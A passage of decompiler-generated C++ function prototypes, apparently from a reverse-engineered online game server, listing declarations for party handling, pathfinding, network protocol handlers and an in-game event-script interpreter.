int nConditonRate); int __thiscall Parameter::ChangeByConditionParam::cbcp_GetValue_Index(Parameter::ChangeByConditionParam *this, int Index); UpGradeInfo *__thiscall UpgradeDataBox::operator__(UpgradeDataBox *this, unsigned __int16 sub); void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c); void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c); void __thiscall Parameter::Cluster::c_compareelement(Parameter::Cluster *this, unsigned int curr, unsigned int last, int flag, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket); int __thiscall Parameter::Cluster::c_compare(Parameter::Cluster *this, Parameter::Cluster *last, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket); int __thiscall Parameter::Container::Container(int this); void __thiscall Parameter::Container::_Container(int this); void __thiscall Parameter::Container::c_MakeTotal(void *c); void __thiscall ShineCommonParameter::scp_Load(ShineCommonParameter *this, Name4 *world); int __thiscall unk_4B433D(OptionReader *this, int world); // weak // void __usercall FillRandomOption(ItemInventoryCell *itemcell, ItemDataBox::ItemDataBoxIndex *itemdata, int *itemstat); void __thiscall ShineObjectClass::ShinePlayer::so_RecalcEquipParam(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_RecalcPassiveParam(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_RecalcLastParam(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_ParameterView(void *this, int param); void __thiscall Parameter::ChangeByConditionParam::cbcp_MakeParam(Parameter::ChangeByConditionParam *this, int nChangeParam, int nCharged, char nFlag, #593 *pObj); void __thiscall Parameter::ChangeByConditionParam::cbcp_MakeParam_Plus(Parameter::ChangeByConditionParam *this, int nChangeParam, int nCharged, char nFlag, #593 *pObj); void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam(void *this); void __thiscall WorldManagerSession::wms_NC_PARTY_ZONE_SET_LOOTER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_DISMISS_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_LOGIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); #593 *__thiscall PartyManufacture::pm_FindMember(PartyManufacture *this, unsigned __int16 partyregnum, unsigned __int16 sub); void __thiscall PartyManufacture::pm_Break(PartyManufacture *this, unsigned __int16 party); void __thiscall PartyManufacture::pm_MemberLeave(PartyManufacture *this, unsigned __int16 partyregnum, unsigned int chrregnum); void __thiscall PartyManufacture::pm_NewMemberJoin(PartyManufacture *this, unsigned __int16 partyregnum); void __thiscall PartyManufacture::pm_Sendmemberinfo(PartyManufacture *this, unsigned __int16 party); void __thiscall PartyManufacture::pm_PacketBroadcast(PartyManufacture *this, unsigned __int16 partyregnum, ProtocolPacket *pp, int len); void __thiscall PartyManufacture::pm_QuestCheck(PartyManufacture *this, void (__thiscall *qf)(ShineQuestDiary *this, #593 *, #593 *, MobDataBox::MobDataBoxIndex *), #593 *player, #593 *mobobj, MobDataBox::MobDataBoxIndex *mobinf); unsigned __int16 __thiscall PartyManufacture::pm_FindParty(PartyManufacture *this, unsigned int chrregnum); void __thiscall PartyManufacture::pm_Broadcast(PartyManufacture *this, #734 *, CParty::PARTY_SLOT *, ProtocolPacket *, int); void __thiscall PartyManufacture::pm_SetDungeonExpiredInfo(PartyManufacture *this, unsigned __int16 partyRegNum, char category, Name3 *mapName, unsigned int expired); void __thiscall PartyManufacture::pm_BroadcastDungeonMapName(PartyManufacture *this, unsigned __int16 partyRegNum, Name3 *mapName); void __thiscall PartyManufacture::pm_NoticeDungeonMapName(PartyManufacture *this, #593 *, Name3 *); void __thiscall PartyManufacture::pm_NoticeDungeonExpired(PartyManufacture *this, #593 *, unsigned __int16); void __thiscall PartyManufacture::pm_NoticeOtherDungeonMapName(PartyManufacture *this, #593 *, Name3 *); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo(void *this, int a2); void __thiscall WorldManagerSession::wms_PartyMemberRefresh(WorldManagerSession *this, CParty::PARTY_SLOT *ps, PROTO_NC_PARTY_MEMBERINFORM_ACK *ack); void __thiscall ShineObjectClass::ShinePlayer::sp_LogoutDuringParty(void *this); void __thiscall PartyManufacture::pm_HandleSet(PartyManufacture *this, unsigned __int16 partyregnum, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *zmember); void __thiscall WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_PartyInformInit(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyInformInit(int this); void __thiscall WorldManagerSession::wms_NC_PARTY_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_PARTY_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); unsigned __int16 __thiscall PathFindCell::pfc_Getdistance(PathFindCell *this, unsigned int flag); PathFindCell *__thiscall PathFindTable::operator__(PathFindTable *this, int x, int y); void __thiscall LinearStep::ls_step(LinearStep *this, int step, int *x, int *y); Tracer *__thiscall LinearStep::ls_Set(LinearStep *this, int fx, int fy, int tx, int ty); // void __thiscall AllOfRangeArgument::AllOfRangeArgument(AllOfRangeArgument *this); void __thiscall PathFindTable::PathFindTable(PathFindTable *this); void __thiscall PathFindTable::_PathFindTable(PathFindTable *this); void __thiscall Tracer::_Tracer(LinearStep *this); void __thiscall LinearStep::LinearStep(LinearStep *this); char __thiscall List::l_Free(List *this, unsigned __int16 hnd); AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_AllocationZ(List *this, unsigned __int16 *hnd); char __thiscall List::l_PushZ(List *this, HitMeList::Enemy *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak CardDeck::Card *__thiscall List::l_GetInList(List *this, unsigned __int16 order, unsigned __int16 *handle); char __thiscall ListEraser::lid_Call(ListEraser *this, ORTable *ele, unsigned __int16 handle); void *__thiscall Tracer::_vector_deleting_destructor_(Tracer *this, unsigned int); void *__thiscall LinearStep::_scalar_deleting_destructor_(LinearStep *this, unsigned int); char __thiscall LinearStep::t_continue(LinearStep *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist); void __thiscall CellStack::_CellStack(CellStack *this); void __thiscall CellStack::cs_push(CellStack *this, PathFindArgumentStruct *pfas, int fx, int fy, int x, int y, unsigned __int16 dist); char __thiscall CellStack::t_continue(CellStack *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist); char __thiscall MinWeightSearching::lid_Call(MinWeightSearching *this, CellStack::CellStackElement *ele, unsigned __int16 handle); Tracer *__thiscall CellStack::t_trace(CellStack *this, PathFindArgumentStruct *pfas); void __thiscall List::_List(ItemLotAnalyser::LotAnalyser *this); void __thiscall List::l_Clear(List *this); char __thiscall List::l_PushA(List *this, HitMeList::Enemy *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_Clear(List *this); Tracer *__thiscall CellStack::cs_Set(CellStack *this, PathFindArgumentStruct *pfas, int x, int y, unsigned __int16 dist); Tracer *__thiscall LinearStep::t_trace(LinearStep *this, PathFindArgumentStruct *pfas); void *__thiscall CellStack::_vector_deleting_destructor_(CellStack *this, unsigned int); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall CellStack::CellStack(CellStack *this); void __thiscall JunctionPointContainer::JunctionPointContainer(JunctionPointContainer *this); void __thiscall PerformanceChecker::PerformanceChecker(PerformanceChecker *this); long double __thiscall PerformanceChecker::pc_loopPERsecond(PerformanceChecker *this); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void __thiscall PROTOCOLFUNCTIONTEMPLETE::pft_Store(PROTOCOLFUNCTIONTEMPLETE *this, int depart, int command, void (__thiscall *pnt)(GameDBSession *this, NETCOMMAND *, int)); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall std::locale::facet::_Incref(std::locale::facet *this); std::locale::facet *__thiscall std::locale::facet::_Decref(std::locale::facet *this); // void __thiscall std::locale::_locale(std::locale *this); void *__thiscall std::locale::facet::_scalar_deleting_destructor_(std::locale::facet *this, unsigned int); std::locale *__thiscall std::ios_base::getloc(std::ios_base *this, std::locale *result); void *__thiscall std::ios_base::_vector_deleting_destructor_(std::ios_base *this, unsigned int); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNoBrain::mab_Think(MobTacticElement::MobActionNoBrain *this, MobTacticElement::MobActionArgument *argument); unsigned __int16 __cdecl ps_assert(unsigned __int16 condition, const char *message, const char *flag); PineScriptToken *__thiscall PineScriptToken::pst_ToLower(PineScriptToken *this); void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, char *name); void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, int number); PineScriptToken *__thiscall PineScriptToken::pst_Clear(PineScriptToken *this); unsigned __int16 __thiscall PineScriptToken::pst_RemoveQuatator(PineScriptToken *this); int __thiscall PineScriptToken::pst_GetNumber(PineScriptToken *this, unsigned __int16 cut); char __thiscall PineScriptToken::pst_GetChar(PineScriptToken *this, int num); void __thiscall PineScriptToken::pst_SetChar(PineScriptToken *this, int num, int chr); unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str); unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str); PineScriptToken *__thiscall PineScriptToken::pst_Merge(PineScriptToken *this, PineScriptToken *sst); void __thiscall PineEventScriptNode::CalculateOperator::_CalculateOperator(PineEventScriptNode::CompareOperator *this); void __thiscall PineEventScriptNode::SysFuncRand::SysFuncRand(PineEventScriptNode::SysFuncRand *this); void __thiscall PineEventScriptNode::SysFuncSQRT::SysFuncSQRT(PineEventScriptNode::SysFuncSQRT *this); void __thiscall PineEventScriptNode::SysFuncDistance::SysFuncDistance(PineEventScriptNode::SysFuncDistance *this); void __thiscall PineEventScriptNode::SysFuncShineMobRegen::SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineMobRegen *this); void __thiscall PineEventScriptNode::SysFuncShineDoorBuild::SysFuncShineDoorBuild(PineEventScriptNode::SysFuncShineDoorBuild *this); void __thiscall PineEventScriptNode::SysFuncShineNPCStand::SysFuncShineNPCStand(PineEventScriptNode::SysFuncShineNPCStand *this); void __thiscall PineEventScriptNode::SysFuncShineChange2Mob::SysFuncShineChange2Mob(PineEventScriptNode::SysFuncShineChange2Mob *this); void __thiscall PineEventScriptNode::SysFuncShineChange2Door::SysFuncShineChange2Door(PineEventScriptNode::SysFuncShineChange2Door *this); void __thiscall PineEventScriptNode::SysFuncShineChange2NPC::SysFuncShineChange2NPC(PineEventScriptNode::SysFuncShineChange2NPC *this); void __thiscall PineEventScriptNode::SysFuncShineCount::SysFuncShineCount(PineEventScriptNode::SysFuncShineCount *this); void __thiscall PineEventScriptNode::SysFuncShineRestSecond::SysFuncShineRestSecond(PineEventScriptNode::SysFuncShineRestSecond *this); void __thiscall PineEventScriptNode::SysFuncShineCharClass::SysFuncShineCharClass(PineEventScriptNode::SysFuncShineCharClass *this); void __thiscall PineEventScriptNode::SysFuncShineCharName::SysFuncShineCharName(PineEventScriptNode::SysFuncShineCharName *this); void __thiscall PineEventScriptNode::SysFuncShineDeadNumber::SysFuncShineDeadNumber(PineEventScriptNode::SysFuncShineDeadNumber *this); void __thiscall PineEventScriptNode::SysFuncShineCircularScatter::SysFuncShineCircularScatter(PineEventScriptNode::SysFuncShineCircularScatter *this); void __thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::SysFuncShineRemoveFisrt(PineEventScriptNode::SysFuncShineRemoveFisrt *this); void __thiscall PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineGetObjectList(PineEventScriptNode::SysFuncShineGetObjectList *this); void __thiscall PineEventScriptNode::SysFuncShineKQResultList::SysFuncShineKQResultList(PineEventScriptNode::SysFuncShineKQResultList *this); void __thiscall PineEventScriptNode::SysFuncShineKQTop::SysFuncShineKQTop(PineEventScriptNode::SysFuncShineKQTop *this); void __thiscall PineEventScriptNode::SysFuncShineDistance::SysFuncShineDistance(PineEventScriptNode::SysFuncShineDistance *this); void __thiscall PineEventScriptNode::SysFuncShinePlayerInArea::SysFuncShinePlayerInArea(PineEventScriptNode::SysFuncShinePlayerInArea *this); void __thiscall PineEventScriptNode::SysFuncShineRange::SysFuncShineRange(PineEventScriptNode::SysFuncShineRange *this); void __thiscall PineEventScriptNode::SysFuncShineIsGateUse::SysFuncShineIsGateUse(PineEventScriptNode::SysFuncShineIsGateUse *this); void __thiscall PineEventScriptNode::SysFuncShineGetWinnerGuild::SysFuncShineGetWinnerGuild(PineEventScriptNode::SysFuncShineGetWinnerGuild *this); void __thiscall PineEventScriptNode::SysFuncShineGetLoseGuild::SysFuncShineGetLoseGuild(PineEventScriptNode::SysFuncShineGetLoseGuild *this); void __thiscall PineEventScriptNode::SysFuncShineWhereIs::SysFuncShineWhereIs(PineEventScriptNode::SysFuncShineWhereIs *this); void __thiscall PineEventScriptNode::SysFuncShineSPrintF1::SysFuncShineSPrintF1(PineEventScriptNode::SysFuncShineSPrintF1 *this); void __thiscall PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineSPrintF1 *this); PineScriptToken *__thiscall PineEventScriptNode::ArgumentList::al_GetArgument(PineEventScriptNode::ArgumentList *this, unsigned int sub, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::SysFuncBase::sfb_Calculate(PineEventScriptNode::SysFuncBase *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall PineEventScriptNode::Identify::Identify(PineEventScriptNode::Identify *this); // void __thiscall PineEventScriptNode::Statement::Statement(PineEventScriptNode::Statement *this); void __thiscall PineEventScriptNode::Statement::_Statement(PineEventScriptNode::Statement *this); void __thiscall PineEventScriptNode::BlockName::_BlockName(PineEventScriptNode::BlockName *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateBreak::sb_CloneMe(PineEventScriptNode::StateBreak *this); unsigned __int16 __thiscall PineEventScriptNode::Condition::sa_Load(PineEventScriptNode::Condition *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Block::sa_BlockNameCheck(PineEventScriptNode::Block *this, PineScriptToken *exitblock); int __thiscall ShineObjectClass::ShineObject::so_DelItemAction(ItemAttributeClass *this, ItemTotalInformation *iti, SHINE_PUT_ON_BELONGED_ITEM IsPutOnBelonged); PineScriptToken *__thiscall PineEventScriptNode::Identify::sa_Calculate(PineEventScriptNode::Identify *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::SystemFunction::sa_Calculate(PineEventScriptNode::SystemFunction *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Number::sa_Calculate(PineEventScriptNode::String *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); int __thiscall PineScriptReader::CharacterReader::cr_GetCh(PineScriptReader::CharacterReader *this); void __thiscall PineScriptReader::CharacterReader::cr_SkipSpace(PineScriptReader::CharacterReader *this); void __thiscall PineScriptReader::TokenReader::_TokenReader(PineScriptReader::TokenReader *this); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadString(PineScriptReader::TokenReader *this, PineScriptToken *tkn); unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_isAlNum(PineScriptReader::TokenReader *this, int ch); unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_IsOper(PineScriptReader::TokenReader *this, int ch); unsigned __int16 __thiscall PineEventScriptNode::StatementList::sl_AddStatement(PineEventScriptNode::StatementList *this, PineEventScriptNode::StatementBase *sb); void __thiscall PineScriptStack::VariableStack::VarArray::VarArray(PineScriptStack::VariableStack::VarArray *this); PineScriptToken *__thiscall PineScriptStack::VariableStack::vs_FindVariable(PineScriptStack::VariableStack *this, PineScriptToken *varname); PineScriptToken *__thiscall PineScriptStack::VariableStack::vs_Push(PineScriptStack::VariableStack *this, PineScriptToken *varname); void __thiscall PineScriptStack::ProcessStack::_ProcessStack(PineScriptStack::ProcessStack *this); void __thiscall PineScriptStack::ProcessStack::ps_Ready(PineScriptStack::ProcessStack *this, PineEventScriptNode::Script *script); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Step(PineScriptStack::ProcessStack *this, int handle); PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_PushVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Push(PineScriptStack::ProcessStack *this, PineEventScriptNode::ScriptAtom *script); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Pop(PineScriptStack::ProcessStack *this); unsigned __int16 __thiscall PineEventScript::pes_Load(PineEventScript *this, char *fname, int *errline); void __thiscall PineEventScriptNode::AutoRegList::AutoRegList(PineEventScriptNode::AutoRegList *this, PineEventScriptNode::StatementBase *pScript); void __thiscall std::basic_ios>::_basic_ios>(std::basic_ios > *this); void __thiscall std::basic_istream>::_basic_istream>(std::basic_istream > *this); void __thiscall std::basic_iostream>::_basic_iostream>(std::basic_iostream > *this); void *__thiscall std::basic_ios>::_scalar_deleting_destructor_(std::basic_ios > *this, unsigned int); void __thiscall std::basic_stringbuf_std::allocator>::_Tidy(std::basic_stringbuf,std::allocator > *this); void __thiscall std::basic_streambuf>::_Init(std::basic_streambuf > *this); void __thiscall std::basic_ostream>::_Sentry_base::__Sentry_base(std::basic_istream >::sentry *this); char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Statement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, PineEventScriptNode::Statement *ele); char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Statement *ele); void __thiscall std::ctype::ctype(std::ctype *this, const __int16 *_Table, bool _Deletetable, unsigned int _Refs); char __thiscall std::ctype::do_tolower(std::ctype *this, char _Ch); const char *__thiscall std::ctype::do_tolower(std::ctype *this, char *_First, const char *_Last); char __thiscall std::ctype::do_toupper(std::ctype *this, char _Ch); const char *__thiscall std::ctype::do_toupper(std::ctype *this, char *_First, const char *_Last); const char *__thiscall std::ctype::do_widen(std::ctype *this, const char *_First, const char *_Last, char *_Dest); const char *__thiscall std::ctype::do_narrow(std::ctype *this, const char *_First, const char *_Last, char __formal, char *_Dest); unsigned int __cdecl std::ctype::_Getcat(std::locale::facet **_Ppf); void *__thiscall std::ctype::_vector_deleting_destructor_(std::ctype *this, unsigned int); void __thiscall std::ctype::_ctype(std::ctype *this); PineScriptToken *__thiscall PineScriptToken::pst_MergeString(PineScriptToken *this, char *str); PineScriptToken *__thiscall PineScriptToken::pst_MergeNumber(PineScriptToken *this, int num); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineEventScriptNode::SysFuncRand::sfb_Calculate(PineEventScriptNode::SysFuncRand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncSQRT::sfb_Calculate(PineEventScriptNode::SysFuncSQRT *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncDistance::sfb_Calculate(PineEventScriptNode::SysFuncDistance *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall PineEventScriptNode::SystemFunction::SystemFunction(PineEventScriptNode::SystemFunction *this); void __thiscall PineEventScriptNode::Term::_Term(PineEventScriptNode::Term *this); void __thiscall PineEventScriptNode::Express::Express(PineEventScriptNode::Express *this); void __thiscall PineEventScriptNode::Express::_Express(PineEventScriptNode::Express *this); void __thiscall PineEventScriptNode::Condition::Condition(PineEventScriptNode::Condition *this); void __thiscall PineEventScriptNode::Condition::_Condition(PineEventScriptNode::Condition *this); void __thiscall PineEventScriptNode::StateIf::StateIf(PineEventScriptNode::StateIf *this); PineEventScriptNode::Block *__thiscall PineEventScriptNode::Script::sa_FindBlock(PineEventScriptNode::Script *this, PineScriptToken *blkname); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateIf::sb_CloneMe(PineEventScriptNode::StateIf *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateCall::sb_CloneMe(PineEventScriptNode::StateCall *this); unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Step(PineEventScriptNode::Script *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Step(PineEventScriptNode::Block *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Step(PineEventScriptNode::Statement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Step(PineEventScriptNode::StateInfinite *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Step(PineEventScriptNode::StateWhile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Step(PineEventScriptNode::StateIf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StatePrint::sa_Step(PineEventScriptNode::StatePrint *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::Express::sa_Load(PineEventScriptNode::Express *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Load(PineEventScriptNode::Statement *this, PineScriptReader::TokenReader *tr); PineScriptToken *__thiscall PineEventScriptNode::Express::sa_Calculate(PineEventScriptNode::Express *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Condition::sa_Calculate(PineEventScriptNode::Condition *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadNumber(PineScriptReader::TokenReader *this, PineScriptToken *tkn); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadIdent(PineScriptReader::TokenReader *this, PineScriptToken *tkn); void __thiscall PineEventScriptNode::StatementList::_StatementList(PineEventScriptNode::StatementList *this); void __thiscall PineScriptStack::ProcessStack::ProcessStack(PineScriptStack::ProcessStack *this); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_ExitBlock(PineScriptStack::ProcessStack *this, PineScriptToken *exitblock); PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_FindVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname); void __thiscall std::basic_streambuf>::_basic_streambuf>(std::basic_streambuf > *this); int __thiscall std::basic_streambuf>::xsgetn(std::basic_streambuf > *this, char *_Ptr, int _Count); int __thiscall std::basic_streambuf>::xsputn(std::basic_streambuf > *this, const char *_Ptr, int _Count); std::fpos *__thiscall std::basic_streambuf>::seekoff(std::basic_streambuf > *this, std::fpos *result, int __formal, int __formal, int __formal); std::fpos *__thiscall std::basic_streambuf>::seekpos(std::basic_streambuf > *this, std::fpos *result, std::fpos __formal, int __formal); void __thiscall std::basic_stringbuf_std::allocator>::_basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this); int __thiscall std::basic_stringbuf_std::allocator>::pbackfail(std::basic_stringbuf,std::allocator > *this, int _Meta); int __thiscall std::basic_stringbuf_std::allocator>::underflow(std::basic_stringbuf,std::allocator > *this); std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekoff(std::basic_stringbuf,std::allocator > *this, std::fpos *result, int _Off, int _Way, int _Which); std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekpos(std::basic_stringbuf,std::allocator > *this, std::fpos *result, std::fpos _Ptr, int _Mode); void *__thiscall std::basic_ostream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2); void *__thiscall std::basic_istream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2); void *__thiscall std::basic_streambuf>::_vector_deleting_destructor_(std::basic_streambuf > *this, unsigned int); void *__thiscall std::basic_iostream>::_vector_deleting_destructor_(std::basic_iostream > *this, char a2); void *__thiscall std::basic_stringbuf_std::allocator>::_vector_deleting_destructor_(std::basic_stringbuf,std::allocator > *this, unsigned int); void __thiscall std::basic_streambuf>::basic_streambuf>(std::basic_streambuf > *this); void __thiscall std::basic_stringbuf_std::allocator>::_Init(std::basic_stringbuf,std::allocator > *this, const char *_Ptr, unsigned int _Count, int _State); std::ctype *__cdecl std::use_facet>(std::locale *_Loc); char __thiscall List::l_Enlargement(List *this, int extsize); char __thiscall List::l_PushA(List *this, PineEventScriptNode::Statement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall std::num_put>>::num_put>>(std::num_put > > *this, unsigned int _Refs); void __thiscall std::codecvt_base::_codecvt_base(std::num_get > > *this); void __thiscall PineEventScriptNode::StatementBaseExpress::StatementBaseExpress(PineEventScriptNode::StatementBaseExpress *this, char *command); PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetToken(PineEventScriptNode::Identify *this, PineScriptToken *varname, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetVariable(PineEventScriptNode::Identify *this, PineScriptStack::ProcessStack *ps); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePrint::sb_CloneMe(PineEventScriptNode::StatePrint *this); unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Step(PineEventScriptNode::StateVarDeclear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Step(PineEventScriptNode::StateBreak *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Step(PineEventScriptNode::StateCall *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); PineScriptToken *__thiscall PineEventScriptNode::Id::sa_Calculate(PineEventScriptNode::Id *this, PineScriptToken *buffer, 